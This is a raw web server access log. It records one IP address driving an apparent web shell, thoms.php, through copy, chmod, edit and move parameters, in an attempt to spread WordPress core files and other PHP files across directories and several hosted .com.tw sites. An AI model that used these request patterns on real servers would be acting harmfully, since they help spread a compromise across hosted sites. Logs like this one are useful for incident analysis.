45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=betcity.com-20260912023741&p= HTTP/1.1" 200 12398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?chmod=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?edit=license.txt&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?edit=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
